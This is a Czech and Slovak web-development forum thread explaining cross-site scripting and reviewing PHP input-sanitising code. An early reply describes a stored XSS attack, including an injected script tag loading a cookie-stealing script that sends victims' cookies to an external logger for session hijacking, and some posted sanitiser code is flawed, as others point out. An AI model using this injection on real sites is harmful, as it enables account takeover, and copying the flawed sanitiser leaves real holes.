Autor Zpráva
quatzael
Profil
Trochu zkoumám jak na zabezpečení stránky a narazil jsem na CROSS SITE SCRIPTING. Ale vůbec nechápu jak to funguje.
Vkládání js kódu přece nemůže samo sebou něco změnit na serveru.. Nebo snad jo??

To, že si hacker zkouší něco vkládat javascript na mých stránkách, aby se mu tam vložil nějaký text, přece neovlivní to, jak uvidí stránku ostatní uživatelé na svých počítačích.

Chápal bych nějaký zabezpečení ajaxu, který zapisuje věci do databáze, ale jinak opravdu nevím jak tohle může být bráno jako hrozba..
fandaa
Profil
quatzael:
Pokud vložíš např. do nezabezpečené diskuse <script src="http://example.com/cookie.js"></script>, tak se JS kód přilinkuje všem, kteří danou diskusi navštíví (respektive zobrazí tvůj příspěvek). V cookie.js souboru si JS vytvoří obrázek se src na php skript, kterému předáš všechny cookies z webu (viz http://exploited.cz/c.js). V php si pak obsah GETu uložíš do souboru, zobrazíš údaje a uvidíš např. uživatelovo session id. No a pokud si změníš v prohlížeči session id na jeho, tak jsi rázem přihlášen jako ten daný uživatel (pokud to samozřejmě není ošetřeno).

Případně si můžeš logovat, co daný uživatel na stránce psal, atd.

Samozřejmě, že na serveru nic změněno být nemůže, můžeš však ukrást uživatelovu identitu. A pokud natrefíš na session id administrátora, jsi rázem administrátorem taktéž. :-)

Úprava: To, co jsem popsal, je stored XSS (viz http://cs.wikipedia.org/wiki/Cross-site_scripting na Wikipedii), ostatní druhy jsou hůře šířitelné. Jedná se většinou o dopsání <script>u do URL a přeposlání dané URL oběti.
quatzael
Profil
fandaa:
No ale pořád platí, že pokud všechno ošetřím přes specialchars(), tak tyhle hackerský pokusy nemají šanci..
Radek9
Profil
quatzael:
Správně. Problém by nastal pouze, kdybys na to někde zapomněl.
quatzael
Profil
Radek9:
No tak jak je tady vedle v diskuzi debata o velkých projektech a frameworks, tak by se zdálo, že největší eshopy v ČR žádný frameworky nepoužívají, když se daly takhle jednoduše hacknout..
Moderátor jenikkozak: Za větou se píše jen jedna tečka.
Joker
Profil
quatzael:
Ani framework nespraví sám od sebe všechny problémy. Že jen použití frameworku stačí abych byl chráněn proti všemu a proti všem je docela nebezpečná představa.
Jinak ty články jsou za minulých pět let a většina z toho by byla jen těžko zneužitelná a asi bych to nenazýval úplně hack.

pokud všechno ošetřím přes specialchars(), tak tyhle hackerský pokusy nemají šanci..
Ne zas úplně všechno. Všechno se musí ošetřovat pro ten kontext, ve kterém se to používá.
Občas se tu vyskytuje nápad buď zbožštit jednu escapovací funkci (třeba na všechny vstupy použít htmlspecialchars a dobrý), nebo na všechny vstupy aplikovat escapovací funkce pro všechny aplikací používané kontexty.
Obojí je špatně.
Jan Tvrdík
Profil
quatzael:
Ve skutečnosti je to složitější. Pokud si chceš ověřit, že hodně dobře rozumíš XSS, tak zkus alert(1) to win (řešení od Jakuba Vrány). Především funkci htmlspecialchars je potřeba zavolat se správnými parametry a pak je taky potřeba nezapomenout na sanitizaci dat (tj. něco jiného než escapování), obzvláště odkazů. Nakonec HTML rozhodně není jediný kontext, pro který je potřeba ošetřovat vstupy.

Důvody, proč na tolika velkých webech najdeš XSS, mě napadají dva:
1) Programátor zapomenete vstup ošetřit. Nestačí si na ošetření vzpomenout v 99 případech ze 100.
2) Programátor se domnívá, že vstup není potřeba ošetřit. Typicky třeba když vypisují něco, co podle nich nemůže obsahovat XSS, třeba e-mailová adresa nebo celé číslo. Pak stačí při zpracování formuláře na úpravu profilu zapomenout nebo špatně napsat validaci e-mailové adresy a XSS zranitelnost je na světě.

Občas taky vznikne XSS proto, že programátor je hlupák a domnívá se, že lze vstup ošetřit např. funkcí strip_tags.
Marti_n
Profil
Je zranitelná táto moja vec? :D
Vstupné parametre mám v poli $Array_POST a každý jeden jeho parameter takto kontrolujem

               $Nepovolene_Znaky = Array('$','<','>','{','}','\"','\\','\''); // NEPOVOLENE ZNAKY

                   for ($array_for=0; $array_for<$Array_Dlzka; $array_for++):

                      $Parameter = $Array_POST[$array_for];

                         if (!is_numeric($Parameter))

                         {

                            // AK NIE JE CISLO, KONTROLUJE

                            $Dlzka_Parameter = strlen($Parameter);

                            // KONTROLA ZNAKOV

                               for ($control_for=0; $control_for<$Dlzka_Parameter; $control_for++):

                                  if (in_array($Parameter[$control_for], $Nepovolene_Znaky))

                                  {

                                     // NACHADZA SA NEPOVOLENY ZNAK A VYMAZE HO

                                     $Parameter[$control_for] = '';

                                  }

                               endfor;

                            mysql_real_escape_string($Parameter); // ESCAPE

                         }

                   endfor;
lionel messi
Profil
Marti_n:
1. Prečo vkladáš svoj dotaz do cudzieho? quatzael chcel vedieť, ako funguje XSS, ty sa pýtaš na bezpečnosť konkrétneho kódu.
2.1.Tvoj kód mi príde zbytočne zložitý.
2.2. Je skutočne vhodné nepovolené znaky mazať? Prečo by sa nemali zobraziť vo výstupe (samozrejme správne ošetrené)?
3. Čo robí tento kód? Vkladá do db, vypisuje…? Na výpis do stránky používaj htmlspecialchars($string, ENT_QUOTES); a iba na vkladanie do db mysql_real_escape_string.

Záver: Vyložene triviálnu bezpečnostnú dieru by to obsahovať nemalo, ale dobré riešenie mi to rozhodne nepríde.
Marti_n
Profil
Myslel som, že keď je tu takáto téma, že to môže byt k veci. Všetky vstupy pracujú s databázou.
Tak toto ma napadlo ako možné bezpečné riešenie, určite nie je najlepšie, každý sa učíme.
lionel messi
Profil
Marti_n:
Ak je $Array_Post pole (podľa názvu je), skús toto:
foreach ($Array_Post as $key => $data) //Neviem, či potrebuješ zachovať kľúče
{
$data = mysql_real_escape_string($data);
//tu bude SQL dotaz na vkladanie do Db
}
toto by sa malo postarať o ochranu pred SQL injection (konkrétne funkcia mysql_real_escape_string)

Ochranu proti XSS by som osobne volal až priamo pri výpise a nie už pri vkladaní do databázy.
Jan Tvrdík
Profil
Marti_n:
Stručně – všechno špatně. Jako úplně všechno. Neescapuješ, ale nahrazuješ nebezpečné znaky za NULL byty, které jsou taky nebezpečné. mysql_real_escape_string se vůbec nepoužije. Escapuješ na špatném místě...

lionel messi:
Píšeš blbosti.
Marti_n
Profil
Jan Tvrdík:

Escape som presunul hore. Nahradzovanie neplatných znakov je zlé? Keby som tam posunul príklad Test>Test, tak mi vráti TestTest.. Podľa mňa by to malo byť bezpečné nie? Či sa mýlim? :D
Jan Tvrdík
Profil
Marti_n:
tak mi vráti TestTest
Nevrátí, zůstane ti tam "Test\x00Test".

Podľa mňa by to malo byť bezpečné nie?
Ne, je špatně z mnoha a mnoha důvodů. Já musím běžet, ty tu pěkně počkej, než sem dorazí někdo, kdo má čas ti to vysvětlit.
Jan Tvrdík
Profil
Marti_n:
Koukám, že nikdo nedorazil, tak to zbylo na mě. Vezmu tu postupně v bodech.

1. Uvedený kód vůbec ty nebezpečné znaky (byty) z řetězce neodstraňuje, ale nahraje je za null byte. Obecně máš-li např. řetězec $s = "ABC", tak po provedení $s[1] = "" nebude proměnná $s obsahovat řetězec "AB", ale bude obsahovat řetězec "A\x00B". Znak "\x00" je navíc nebezpečný sám o sobě. Viz např. php.net/manual/en/security.filesystem.nullbytes.php. Pokud bys chtěl skutečně odstranit určitý znak z řetězce, tak použij funkci str_replace.

2. Odstraňování znaků je obecně špatný způsob obrany vůči XSS, protože poškozuje přijatá data. Správné řešení je tyto znaky escapovat.

3. Escapování záleží na kontextu. Nelze proto automaticky escapovat vše. Je to stejné, jako kdyby doktorka dávala všem pacientům stejný lék nezávisle na tom, jaký mají skutečně problém.

4. Funkce mysql_real_escape_string vrací escapovaný řetězec. Když tu návratovou funkci nepoužiješ, tak tu funkci nemusíš vůbec volat.
Marti_n
Profil
Ďakujem pekne za vysvetlenie. Každý sa učíme :)

Ak som dobre pochopil tak nestačí spraviť.

mysql_real_escape_string($Parameter); // ESCAPE

Ale

$Parameter = mysql_real_escape_string($Parameter); // ESCAPE

Takže vstupné údaje do ďalšieho behu kódu, mám vždy uložené v poli.
Vypíšem si cez foreach , postupne každú hodnotu pola.
Pri každej skontroluje či je hodnota numerická - Tu sa chcem spýtať, keď je hodnota numerická, tak treba robiť ďalšiu kontrolu?
Ak nie je numerická, tak podľa toho či chcem hodnotu vypisovať tak spraví:

$Parameter = htmlspecialchars($Parameter, ENT_QUOTES); // ESCAPE

Ak nevypisujem, ale ide to do databázy, tak:

$Parameter = mysql_real_escape_string($Parameter); // ESCAPE

Malo by to stačiť?

Neviem či mám dobre vytvorený systém ale pracuje sa mi s ním dobre, mám to takto:

1) Užívateľ vykoná hocijakú akciu
2) Vstupné parametre sa mi skontrolujú v hlavnom súbore controler.php cez to pole čo som vyššie spomínal. Tuto tým pádom nikdy nezabudnem na nejaký vstupný parameter, ktorý by nebol ošetrení.
3) Ošetria sa vstupy
4) Skontrolujú sa povolenia, či má užívatel práva na túto akciu
5) Ak je všetko v poriadku, kód si includuje výsledný súbor, ktorý vypíše.

Takto mi to ide furt dookola. Neviem či to je dobrý alebo zlý postup, samozrejme nie som skúsení ako niektorí z Vás a rád sa od vás naučím nové veci :)
Jan Tvrdík
Profil
Malo by to stačiť?
To záleží, jestli to udělá dobře. Např. následující kód je úplně na nic, v poli $params zůstanou pořád neošetřená data-.
foreach ($params as $param) {
    $param = mysql_real_escape_string($param);
} 

controler
Anglicky správně je controller.

Vstupné parametre sa mi skontrolujú v hlavnom súbore controler.php
Parametry je potřeba ošetřit v místě použití. V controlleru nevíš, zda proměnná půjde do databáze nebo bude někde vypsaná a jak bude konkrétně vypsaná. V controlleru můžeš plošně aplikovat tak leda kontrolu vstupních proměnných na validní UTF-8 bez nebezpečných control characters (jako např. null byte).
CZghost
Profil
[#2] fandaa:
Zkoušel jsem takový (ne)bezpečný experiment s využitím Devkitu Opery (Javascriptová konzole), kde jsem si zjistil hodnotu sušenky DJPW pro anonymní session (tedy jsem se nepřihlašoval). Na IE 11 mám otevřenou instanci, kde jsem přihlášen, usoudil jsem, že zde by to bylo příliš riskantní, takže jsem si otevřel novou, anonymní instanci, kde jsem provedl pokus. Výsledky se dostavily ihned, ale moc jim nerozumím. Vše je na screenshotu v mém Dropboxu.

Útočníkovi jsem tak dal v podstatě nepoužitelné session, jelikož je anonymní a jediné, co může dělat, je psát a registrovat se pod mojí IP adresou (pokud to je možné či to takhle nějak funguje). Neříkám, že je to úplně bezpečné, ale mého zdejšího účtu by se to dotknout nemělo.


Pro jistotu jsem ještě zavřel tu pokusnou instanci, kdyby náhodou :-)
Marti_n
Profil
Jan Tvrdík:

V controlleru nevíš, zda proměnná půjde do databáze nebo bude někde vypsaná a jak bude konkrétně vypsaná

Vie to rozoznať. Spravil som to tak že mám ďalšie pole, kde mám spísane pri akej akcii má očakávať údaje, teda presný počet údajov.
A ďalej, ktoré majú byť numerické, ktoré idú do DB a ktoré idú na výpis, podľa toho sa sám zariadí.
Str4wberry
Profil
Jak využít XSS jsem před nedávnem psal tady – Využití XSS chyby
Kubo2
Profil
Marti_n:
Vie to rozoznať.
To už potom stráca na abstrakcii. Ono to bolo myslené tak, že controller by o tom dopredu nemal vedieť, nie že ty sa máš snažiť, aby o tom vedel.

Vaše odpověď

Mohlo by se hodit

Neumíte-li správně určit příčinu chyby, vkládejte odkazy na živé ukázky.
Užíváte-li nějakou cizí knihovnu, ukažte odpovídajícím, kde jste ji vzali.

Užitečné odkazy:

Prosím používejte diakritiku a interpunkci.

Ochrana proti spamu. Napište prosím číslo dvě-sta čtyřicet-sedm: